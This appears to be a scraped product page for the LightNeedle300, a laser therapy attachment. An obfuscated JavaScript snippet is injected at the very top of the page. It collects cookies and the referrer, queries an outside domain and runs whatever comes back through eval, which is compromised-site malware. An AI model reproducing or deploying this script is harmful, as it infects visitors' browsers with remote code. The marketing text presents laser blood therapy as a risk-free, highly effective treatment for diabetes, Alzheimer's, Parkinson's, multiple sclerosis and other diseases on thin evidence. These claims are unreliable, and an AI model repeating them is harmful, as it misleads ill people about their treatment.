;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//trafficradiusdev.com/5/vendor/fzaninotto/faker/src/Faker/Calculator/Calculator.php","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}

LightNeedle300

Systemic Rehabilitation Therapy

  • Passive Therapy
  • 5 -15 Minutes
  • Risk-Free
  • Relaxing
  • Highly Effective
  • Painless

LightNeedle300 belongs to the family of laser attachments that attach to the Physiolaser Olympic and once it is connected to the Physiolaser Control Unit it can access all the pre-programmed treatments that the Physiolaser has to offer

Systemic rehabilitation is primarily performed to provide support to the biological system by way of improving blood chemistry, blood oxygen transport, nitric oxide levels, immunological and hemopoietic indices and red blood cell count

The combination of 655nm red laser and 405nm blue light instigates strong absorption by haemoglobin and anti-bacterial effects

A New Proof of Concept in bacterial reduction: Antimicrobial action of violet-blue (405nm) in ex vivo stored Plasma. Blood Transfer (2016) 1-11, M. Maclean et al.

  • Blood phototherapy was originally developed in Russia and introduced using He Ne laser intravenously in 1981 by Meshalkin and Sergievskiy.
  • Non-invasive systemic rehabilitation therapy (SRT) avoids the risk associated with intravenous blood phototherapy

Crucial to the systemic success of non-invasive SRT is the availability of superficial blood vessels under the tongue (655nm + 405nm), wrist (655nm + 405nm) or behind the knee (904nm super pulsed)  for the direct absorption of the laser light into the bloodstream

LightNeedle300 SRT is the ideal therapy before and after professional sports activity and prolonged physical endurance i.e. marathon running

LightNeedle300 systemic rehabilitation therapy is highly recommended after all forms of surgery and orthopaedic injury to accelerate recovery time

Non-Invasive Support Therapy Recommended For:

  • Diabetes Mellitus
  • Lipid Metabolism Disorders
  • Chronic Liver and Kidney disorders
  • Respiratory
  • Cardiovascular Disease
  • Depression, Burn-out syndrome
  • CFS (Chronic Fatigue Syndrome)
  • Pain Syndromes/Arthritis
  • Polyneuropathy
  • Neurological Degeneration
  • Multiple Sclerosis
  • Alzheimers Disease
  • Parkinsons Disease
  • Brain Trauma
  • Psoriasis, Eczema, Burn Injury
  • Infected wounds and ulcers
  • Osteomyelitis
  • Post Stroke and Heart Attack
  • Hypertensive Disease

Research

Effect of intravenous laser blood irradiation on endothelial dysfunction in patients with hypertensive disease

Burduli NM, Aleksandrova O. M.       Klin Med (Mosk). 2009;87(6):22-5       PMID: 19670711 [PubMed-indexed for MEDLINE]

The aim of this work was to study effect of intravenous laser blood irradiation (IBL) on endothelial dysfunction in 120 patients (mean age 53.4+/-1.3yr) with grade I-II hypertensive disease (HD) allocated to 2 groups. Traditional drug therapy given to patients of the control group was supplemented by ILBI using a Mulat laser therapy device in the study group. Endothelial function was evaluated from the total plasma concentration of stable NOx metabolites, nitrates (NO3), nitrites (NO2), and Willebrand’s factor. HD patients were found to have elevated activity of Willebrands factor and show 3 types of response of the NO generating system:

(1) decreased NO synthesis, (2) lack of its changes, and (3) increased NO synthesis. NO production in HD patients negatively correlated with systolic(r=-0.59) and diastolic (R=-0.64) arterial pressure (AP) which suggests the relationship between decreased NO production and elevated AP.

Inclusion of ILBI in the therapy of Hypertensive Disease (HD) resulted in a significant decrease of Willebrand’s factor and normalisation of the NO level regardless of its initial value.

Delivery Contents includes

LightNeedle300 Unit Attachment (Physiolaser is purchased separately)

PLUS – Choice of 1 SRT Applicator:

 

(1)  Wrist OR (2) Sub-Lingual

4 x 655nm/50 mW + 2 x 405nm/50 mW

OR

(3)  Knee Applicator

5 X 30watt 904nm super pulsed

PLUS Connector Cable, User Manual, Soft Portable Carry Bag

This site uses cookies. By continuing to browse the site, you are agreeing to our use of cookies.

CloseModalPrivacy
Contact Us